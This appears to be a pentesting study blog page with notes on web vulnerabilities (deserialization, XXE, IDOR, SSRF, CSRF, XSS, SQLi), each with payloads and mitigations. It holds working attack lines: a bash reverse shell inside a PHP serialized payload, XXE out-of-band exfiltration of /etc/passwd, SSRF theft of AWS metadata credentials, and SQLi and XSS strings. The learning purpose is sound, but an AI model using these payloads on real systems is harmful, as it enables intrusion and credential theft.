Mostafa Ashraf
1-Web_PenTesting
Basics
Vulnerabilities
CSRF
IDOR
Insecure Deserlization
OPEN_REDIRECT
SQLI
SSRF
XSS
XXE
2-Network_PenTesting
Basics-1
Basics-2
3-API_PenTesting
API
API_Recon
BFLA
BOLA
Evasive Maneuvers
Improper-Assets-Management
Injection
SSRF
mass-assignment
4-Machines
Bounty_hacker
Hammer
Reset
5-Labs
BePractical
Lab1
Lab2
Lab3
Lab4
Lab6
RootMe
Sqli_Numeric
Sqli_Routed
6-Bug_Bounty
ٍstored xss via PDF Upload
Race Conditions
XSS+CSRF
hunting on E-Commerce
Home
Contact
Copyright © 2024 |
Yankos
Home
>
1-Web_PenTesting
> Vulnerabilities
Now Loading ...
Vulnerabilities
Insecure Deserlization
Serialization is the process of converting a complex data structures, such as objects and their fields. Serializing data makes it much simpler to: Write complex data to inter-process memory, a file, or a database. Send complex data, for example, over a network, between different components of an application, or in an API call. Some languages serialize objects into binary formats. all of the original object’s attributes are stored in the serialized data stream, including any private fields. Used for storing and transferring data. Insecure deserialization deserialization vulnerabilities can be as easy as changing an attribute in a serialized object , identify and edit interesting attribute values. You can then pass the malicious object into the website via its deserialization process Used to 1- RCE 2- privilege escalation 3- file access 4- DOS attack 5- Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. How to identify? data flow in request PHP serialization in code: $user->name = "carlos"; $user->isLoggedIn = true; after selialization: `O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}` O:4:"User" - An object with the 4-character class name "User" 2 - the object has 2 attributes s:4:"name" - The key of the first attribute is the 4-character string "name" s:6:"carlos" - The value of the first attribute is the 6-character string "carlos" s:10:"isLoggedIn" - The key of the second attribute is the 10-character string "isLoggedIn" b:1 - The value of the second attribute is the boolean value true Magic methods in PHP https://www.php.net/manual/en/language.oop5.magic.php • you create exploits that pass data into dangerous methods automatically. • Magic methods are a common feature of OOP like __destruct() or __construct() . • Some languages have magic methods that are invoked automatically during the deserialization process, For example, PHP’s unserialize()method looks for and invokes an object’s __wakeup()magic method. In decoded session O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;} —>change 0 to 1 O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:20:"ej9jdijdf9efje9eof9j9f";} —> change to O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;} in case the access_token or password doesn’t start with number so we can instead value with 0 0 == "Example string" // true in PHP Arbitrary object injection in PHP We need source code to create and inject a malicious serialized object to do specific function notice the CustomTemplate class contains the __destruct()magic method. This will invoke the unlink() method on the lock_file_path attribute, unlink() method to delete file O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";} scenario O:18:"PHPObjectInjection":1:{s:6:"inject";s:13:"system('id');";} -> O:18:"PHPObjectInjection":1:{s:6:"inject";s:71:"system('/bin/bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'');";} Java Serialization Example : 1- Item java : have code for class named Item 2- Serialize.java : conatin the serialization logic Java objects always begin with the same bytes, which are encoded as ac edin hexadecimal andrO0 in Base64 which is a standard java serialization format signature. Any class that implements the interface java.io.Serializable can be serialized and deserialized readObject()method, which is used to read and deserialize data from an InputStream In Java deserialization , a readObject()method declared in exactly this way acts as a magic method that is invoked during deserialization how to identify it ? search for object that it’s magic bytes rO0 ysoserial (Java Deserialization) java -jar path/to/ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 mitigation 1- user input should never be deserialized at all. 2- Use a cryptographic library to generate a signature for the object and validate it prior to deserializing the returned object. 3- Don’t use unserialize() function with user input, use JSON functions instead. —
1-Web_PenTesting
· 2024-08-09
XML External Entity
Description Some applications use the XML format to transmit data between the browser and the server XML: Extensible Markup Language, commonly used for data representation and transfer. External Entity: A reference within the XML document to an external resource, which can be a file, URL, or another data source Impact use external entities to → It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access. TTypes of XXE attacks: 1- Exploiting XXE to retrieve files 2- Exploiting XXE to perform SSRF attacks 3- Exploiting blind XXE to exfiltrate data out-of-band 4- Exploiting blind XXE to retrieve data via error messages Portswigger Scenarios Tip : “GET request for XML not found” changes the request to POST with XXE payload 1- retrieve the /etc/passwdfile <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck> 2- XXE to SSRF <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>` 3- Blind XXE with out-of-band interaction <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE fee [ <!ENTITY xxe SYSTEM "http://burp-collab"> ]> <stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck> 4- Exploiting blind XXE to exfiltrate data using a malicious external DTD with (BURP-COLLABORATOR) in malicious DTD file: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>"> %eval; %exfil; in Request: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploi.lab_id.exploit-server.net/exploit"> %xxe;]> <stockCheck><productId>1</productId><storeId>1</storeId></stockCheck> 5- Exploiting blind XXE to retrieve data via error messages in malicious DTD file: <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; in Request: <!DOCTYPE foo [<!ENTITY % [xxe](https://portswigger.net/web-security/xxe) SYSTEM "YOUR-DTD-URL"> %xxe;]> 6- using local DTD 1- find DTD file already exists on server , we use this list https://github.com/GoSecure/dtd-finder/tree/master/list with intruder in tis Request 2- use this code https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]> 7- XInclude attacks <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo> 8- Exploiting XXE via image file upload SVG image with the following content: <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg> mitigation Disable External Entities: Configure the XML parser to disable the resolution of external entities. Use Safe Parsers: Utilize XML parsers that are known to be secure against XXE attacks. Input Validation: Validate and sanitize all user inputs, especially XML data, to ensure it doesn’t contain malicious content. Reference 4 all exploits [https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity]
1-Web_PenTesting
· 2024-08-08
Insecure Direct Object Reference)
Description IDOR (Insecure Direct Object Reference) is a type of access control vulnerability that occurs when an application provides direct access to objects based on user-supplied input without proper authorization checks. This can allow an attacker to access unauthorized data by simply manipulating the input parameters. Scenarios: 1- change HTTP method GET /users/delete/victim_id ->403 POST /users/delete/victim_id ->200 2- Path Traversal POST /users/delete/victim_id ->403 POST /users/delete/my_id/..victim_id ->200 3- swap non-numeric with numeric id GET /file?id=90djbkdbkdbd29dd GET /file?id=302 5- send wildcard instead of an id GET /api/users/user_id -> GET /api/users/* 6- HTTP Parameter POllution Give mult value for same parameter GET /api_v1/messages?user_id=attacker_id&user_id=victim_id GET /api_v1/messages?user_id=victim_id&user_id=attacker_id 7- json parameter pollution {"userid":1234,"userid":2542} 8- Wrap the ID with an array in the body {"userid":123} ->401 {"userid":[123]} ->200 9- wrap the id with a json object {"userid":123} ->401 {"userid":{"userid":123}} ->200 10- Test an outdata API version GET /v3/users_data/1234 ->401 GET /v1/users_data/1234 ->200 Mitigation Access Validation :Check the user authorization before user requests it the application could use a UUID such as: https://www.example.com/settings/user/e194da7f-3d74-48e9-ac49-4c72e1b02eeb
1-Web_PenTesting
· 2024-08-05
Server-Side Request Forgery
Description Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to make the server perform unauthorized requests to internal or external systems. The attacker can leverage this to bypass network restrictions, access internal systems, or exfiltrate sensitive data. How SSRF Works SSRF occurs when an application takes user input and uses it to form a request to another server, without sufficient validation. This can be exploited in various ways: Internal Network Scanning: The attacker can use the server to scan and map the internal network. Accessing Internal Services: The attacker can interact with internal services that are not exposed to the external network. Exfiltrating Data: The attacker can use the server to send data to an external system. Real-World Scenarios Cloud Metadata Service Access: Many cloud providers offer a metadata service that provides information about the instance. This service is usually accessible at a well-known IP address. An attacker can exploit SSRF to access this service and retrieve sensitive information, such as access tokens. Example: ```php <?php if (isset($_GET['url'])) { $url = $_GET['url']; $content = file_get_contents($url); echo $content; } else { echo "No URL provided."; } ?> ``` Attack: ```ruby http://example.com/vulnerable.php?url=http://169.254.169.254/latest/meta-data/ ``` The attacker can access the cloud instance metadata and potentially retrieve sensitive data like IAM roles and temporary credentials. Interacting with Internal APIs: Many applications have internal APIs that are not exposed to the public internet but are accessible internally. An attacker can use SSRF to interact with these APIs. Example: ```php <?php if (isset($_GET['url'])) { $url = $_GET['url']; $content = file_get_contents($url); echo $content; } else { echo "No URL provided."; } ?> ``` Attack: ```bash http://example.com/vulnerable.php?url=http://localhost/admin/api ``` The attacker can potentially perform administrative actions by interacting with the internal API. Port Scanning: SSRF can be used to scan for open ports on the internal network. By crafting requests to different ports, an attacker can identify open services. Example: ```php <?php if (isset($_GET['url'])) { $url = $_GET['url']; $content = file_get_contents($url); echo $content; } else { echo "No URL provided."; } ?> ``` Attack: ```bash http://example.com/vulnerable.php?url=http://localhost:8080 ``` The attacker can determine if a service is running on port 8080. Case Study: Capital One Breach One of the most notable examples of SSRF exploitation was the Capital One breach in 2019. The attacker exploited an SSRF vulnerability in a web application firewall (WAF) hosted on AWS. By leveraging SSRF, the attacker accessed the AWS metadata service to obtain temporary credentials, which were then used to access sensitive data stored in S3 buckets. Key Points of the Attack: Initial Exploit: The attacker sent a request that exploited the SSRF vulnerability, targeting the AWS metadata service. Credential Theft: By accessing the metadata service, the attacker retrieved AWS IAM credentials. Data Exfiltration: Using the stolen credentials, the attacker accessed and exfiltrated data from S3 buckets. Exploitation Path SSRF Exploit: ```ruby http://vulnerable-app.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ Credential Access: ```ruby http://vulnerable-app.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name ``` S3 Data Access: ```bash aws s3 ls s3://sensitive-data-bucket --profile stolen-credentials ``` Mitigation Whitelist Valid URLs Only allow requests to a predefined set of trusted domains. This ensures that any request made by the application is to a safe and known destination. ```php <?php $whitelisted_domains = [‘example.com’, ‘api.example.com’]; if (isset($_GET[‘url’])) { $url = $_GET[‘url’]; $parsed_url = parse_url($url); if (in_array($parsed_url['host'], $whitelisted_domains)) { $content = file_get_contents($url); echo $content; } else { echo "Invalid URL."; } } else { echo "No URL provided."; } ?> ``` 2. Validate and Sanitize Input Ensure that the URL provided by the user is valid and adheres to your expectations. This involves checking the URL's scheme, host, and structure. ```php <?php function validate_url($url) { $parsed_url = parse_url($url); if ($parsed_url === false) { return false; } $allowed_schemes = ['http', 'https']; if (!in_array($parsed_url['scheme'], $allowed_schemes)) { return false; } return true; } if (isset($_GET[‘url’])) { $url = $_GET[‘url’]; if (validate_url($url)) { $content = file_get_contents($url); echo $content; } else { echo "Invalid URL."; } } else { echo "No URL provided."; } ?> ``` 3. Block Private IP Ranges Prevent the server from making requests to internal IP addresses. This helps to stop the server from accessing internal services and sensitive resources. ```php <?php function is_private_ip($ip) { $private_ips = [ '10.0.0.0|10.255.255.255', '172.16.0.0|172.31.255.255', '192.168.0.0|192.168.255.255', '127.0.0.0|127.255.255.255' ]; $ip_long = ip2long($ip); if ($ip_long != -1) { foreach ($private_ips as $private_ip) { list($start, $end) = explode('|', $private_ip); if ($ip_long >= ip2long($start) && $ip_long <= ip2long($end)) { return true; } } } return false; } if (isset($_GET[‘url’])) { $url = $_GET[‘url’]; $parsed_url = parse_url($url); $host = $parsed_url[‘host’]; $ip = gethostbyname($host); if (is_private_ip($ip)) { echo "Invalid URL."; } else { $content = file_get_contents($url); echo $content; } } else { echo "No URL provided."; } ?> ``` By implementing these three strategies—whitelisting valid URLs, validating and sanitizing input, and blocking private IP ranges—you can significantly reduce the risk of SSRF vulnerabilities in your application ---
1-Web_PenTesting
· 2024-07-30
Open Redirect
Description Open redirects occur when a website redirects users to a URL specified via a parameter without sufficient validation. This can allow attackers to manipulate the parameter to redirect users to malicious sites. This post will discuss the mechanisms of open redirects, their risks, and how to prevent them.. Websites often redirect users automatically, especially in scenarios where unauthenticated users try to access restricted pages. For instance, a user trying to access https://example.com/dashboard might be redirected to https://example.com/login to log in first. To return the user to their intended page after logging in, the site might use a URL parameter to remember the original location, such as: https://example.com/login?redirect=https://example.com/dashboard Open Redirect Attack An attacker can exploit this mechanism by tricking users into visiting a malicious site via a legitimate-looking URL: https://example.com/login?redirect=https://attacker.com Users might click this link, believing it leads to a legitimate page, only to be redirected to a malicious site, enabling attackers to perform phishing attacks. Referer-Based Redirect Some sites use the Referer HTTP header to determine the original location of the user. An attacker can exploit this by creating a page that sets the Referer header to their malicious site, causing the user to be redirected there after visiting the legitimate site. An example HTML might look like: <html> <a href="https://example.com/login">Click here to log in to example.com</a> </html> When a user clicks the link, the href attribute specifies the redirect target. Risks Open redirects can lead to several security issues: Phishing Attacks: Users are tricked into entering their credentials on a malicious site. Loss of Trust: Users may lose trust in the legitimate site if they fall victim to an open redirect attack. Escalation of Other Attacks: Open redirects can be used in combination with other vulnerabilities to escalate attacks. Mitigation URL Validation To prevent open redirects, the server must validate redirect URLs to ensure they are legitimate. This can be done using blocklists or allowlists: Blocklist: The server checks the redirect URL for known malicious indicators or special characters and blocks those requests. Allowlist: The server ensures the redirect URL matches a list of allowed hosts. If it does, the redirect proceeds; otherwise, it is blocked. —
1-Web_PenTesting
· 2024-07-30
Cross-Site Request Forgery
Description CSRF Allows an attacker to induce users to perform actions that they do not intend to perform. We can find it in (Email - Password) Impact For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user’s account. CSRF POC generator right-click on the request and select Engagement tools / Generate CSRF PoC. Enable the option to include an auto-submit script and click “Regenerate”. You can get the request URL by right-clicking and selecting “Copy URL”. way: remove referer header and send request and check response remove original header and send request and check response remove csrf token and send request and check response try to change request method scenarios 1- bypass CSRF token validation switch POST to the GET method to bypass the validation and deliver a CSRF attack switch method to get delete CSRF token Delete CSRF token CSRF where token is not tied to user session That means u can use user’s token to another user CSRF where token is tied to non-session cookie That means if u have sessions and csrf-key and csrf token, and as you see csrf token is different to csrfkey , so they are not generate from the same generator the session is no tied to csrfkey, but csrf key is tied to csrf token , so if we take csrf token from another user it will not work but i we take csrf key and csrfkey from another user it will work CSRF where token is duplicated in cookie That mean u have csrf in cookie and as a parameter , the trick here is the backend check if the csrf in cookie is equal to csrf in parameter so we can put any thing similar in the both 2- Bypass Referer validation Remove referer header if u can remove referer header so when u generate this csrf poc so you have to add “head” CSRF with broken Referer validation In this case compare between host and referer if referer has the host value but in this case we can abuse the referer such as: https://burpsuite/?ac741ffc1f0c0780801b………… in this case the request will accept it. csrf poc https://portswigger.net/web-security/csrf/lab-referer-validation-broken Auto-submitting form first second third Mitigation: CSRF tokens : A CSRF token is a unique, secret, and unpredictable value that is generated by the server-side application and shared with the client. Referer-based validation
1-Web_PenTesting
· 2024-07-23
XSS From Developer's Perspective
Description Cross-Site Scripting (XSS) is a security vulnerability typically found in web applications that allows attackers to inject malicious scripts into content from otherwise trusted websites. These scripts can then execute in the context of another user’s session, potentially stealing information or performing actions on behalf of the user. we will know more about this vulnerability but from a developer’s perspective Vulnerable code Attack Scenario Mitigation Types of XSS Stored XSS: The malicious script is permanently stored on the target server, such as in a database, comment field, or any other data storage. Reflected XSS: The script is reflected off a web server, such as in an error message, search result, or any other response that includes some part of the request. DOM-Based XSS: The vulnerability exists in the client-side code rather than the server-side code. Stored XSS in PHP we have a php app that allows users to post comments Vulnerable Code <?php $conn = new mysqli('localhost', 'username', 'password', 'database'); if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } if ($_SERVER['REQUEST_METHOD'] == 'POST') { $comment = $_POST['comment']; $sql = "INSERT INTO comments (comment) VALUES ('$comment')"; $conn->query($sql); } $sql = "SELECT comment FROM comments"; $result = $conn->query($sql); while ($row = $result->fetch_assoc()) { echo $row['comment'] . "<br>"; } $conn->close(); ?> In this code, the comment is taken directly from the user input and inserted into the database without any sanitization or escaping. When displaying the comments, the script is executed if it contains JavaScript. Attack Scenario <script>alert('XSS');</script> This comment would be stored in the database and executed whenever a user visits the page displaying the comments. Mitigation To mitigate xss, we need to sanitize and escape user input via functions like htmlspecialchars to escape HTML characters like this: $comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8'); htmlspecialchars escape HTML characters ENT_QUOTES replace quote " ->" Reflected XSS in PHP Vulnerable Code <?php if (isset($_GET['name'])) { echo "Hello, " . $_GET['name'] . "!"; } ?> the name is taken directly from the user input and reflected without any sanitization Attack Scenario An attacker could trick a user into clicking a URL like this: http://example.com/page.php?name=<script>alert('XSS');</script> when the user clicks the link, the script will execute in the user’s browser Mitigation Again, htmlspecialchars should be used to sanitize the input: <?php if (isset($_GET['name'])) { echo "Hello, " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') . "!"; } ?> By escaping special characters, we ensure that any input provided in the name parameter is treated as plain text rather than executable code DOM-Based XSS Vulnerable Code <!DOCTYPE html> <html> <body> <input id="userInput" type="text" value="<?php echo $_GET['name']; ?>"> <script> var userInput = document.getElementById('userInput').value; document.write("Hello, " + userInput); </script> </body> </html> in this code,Unsanitized User Input in HTML then direct usage of this input in JavaScript Attack Scenario An attacker could trick a user into clicking a URL like this: http://example.com/page.php?name=<script>alert('XSS');</script> This would result in the script being executed on the client side. Mitigation To prevent DOM-based XSS, avoid using document.write and use safer methods to manipulate the DOM, like textContent or proper escaping functions. <!DOCTYPE html> <html> <body> <input id="userInput" type="text" value="<?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); ?>"> <script> var userInput = document.getElementById('userInput').value; var textNode = document.createTextNode("Hello, " + userInput); document.body.appendChild(textNode); </script> </body> </html> In this secured version: The PHP code escapes the input before outputting it into the HTML. The JavaScript code uses createTextNode to safely insert the text into the document. In general,to prevent xss Always sanitize and escape user input. Use functions like htmlspecialchars to convert special characters to HTML entities. Avoid using dangerous functions like document.write in client-side scripts. Validate and sanitize inputs on both server-side and client-side
1-Web_PenTesting
· 2024-07-21
SQL Injection
Description SQL Injection (SQLi) is a common security vulnerability that allows attackers to manipulate SQL queries executed by a web application. This can lead to unauthorized access to the database, data theft, or data manipulation. From a developer’s perspective, understanding how SQLi works and how to prevent it is crucial. How SQL Injection Works SQL Injection occurs when user input is not properly sanitized and is directly used in SQL queries. This allows an attacker to inject malicious SQL code into the query, which can change its intended behavior. Example of SQL Injection Vulnerability Consider the following PHP code snippet, which is vulnerable to SQL injection: <?php $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysqli_query($conn, $query); if (mysqli_num_rows($result) > 0) { echo "Login successful!"; } else { echo "Invalid username or password."; } ?> In this code, the user input ($username and $password) is directly used in the SQL query. An attacker can manipulate this input to alter the query. For example, if the attacker enters the following as the username: ' OR 1=1 -- The resulting query becomes: SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = '' The -- denotes a comment in SQL, so everything after it is ignored. This effectively changes the query to: SELECT * FROM users WHERE username = '' OR 1=1 Since 1=1 is always true, the query will return all rows in the users table, potentially allowing the attacker to log in as any user. Types Of SQLI SQL Injection (SQLi) comes in various forms, each exploiting different aspects of SQL queries and database interactions. Here are the main types of SQLi: Classic SQL Injection Classic SQL Injection, also known as in-band SQL Injection, involves using the same communication channel for both the attack and the data retrieval. This is the most common type of SQLi. SELECT * FROM users WHERE username = 'user' OR '1'='1' --' AND password = 'pass'; Error-based SQL Injection Error-based SQL Injection leverages error messages returned by the database to gather information about the database structure. SELECT * FROM users WHERE id = 1 AND 1=CONVERT(int, (SELECT @@version)); Union-based SQL Injection Union-based SQL Injection uses the UNION SQL operator to combine the results of two or more SELECT queries into a single result, allowing an attacker to retrieve data from different tables. SELECT id, username, password FROM users WHERE id = 1 UNION ALL SELECT NULL, version(), NULL; Blind SQL Injection Blind SQL Injection occurs when the database does not return error messages or data, making it difficult to exploit. Attackers infer information by observing the behavior of the application. a. Boolean-based Blind SQL Injection This technique involves sending SQL queries that result in true or false conditions and observing the application’s behavior. SELECT * FROM users WHERE username = 'admin' AND 1=1 -- ' AND password = 'pass'; SELECT * FROM users WHERE username = 'admin' AND 1=2 -- ' AND password = 'pass'; b. Time-based Blind SQL Injection This technique involves sending SQL queries that cause a time delay if the condition is true, allowing the attacker to infer information based on the time it takes for the response. SELECT * FROM users WHERE IF(username='admin' AND SLEEP(5), 1, 0) -- ' AND password = 'pass'; Preventing SQL Injection To prevent SQL Injection, you should always use prepared statements and parameterized queries. Here’s how you can modify the above code to use prepared statements with the mysqli extension: <?php $username = $_POST['username']; $password = $_POST['password']; $stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { echo "Login successful!"; } else { echo "Invalid username or password."; } $stmt->close(); ?> In this example: the prepare method creates a prepared statement, bind_param binds the user input to the statement. The ss argument specifies that both parameters are strings. Prepared statements ensure that the user input is treated as data and not as part of the SQL query —
1-Web_PenTesting
· 2024-07-21
<
>
Touch background to close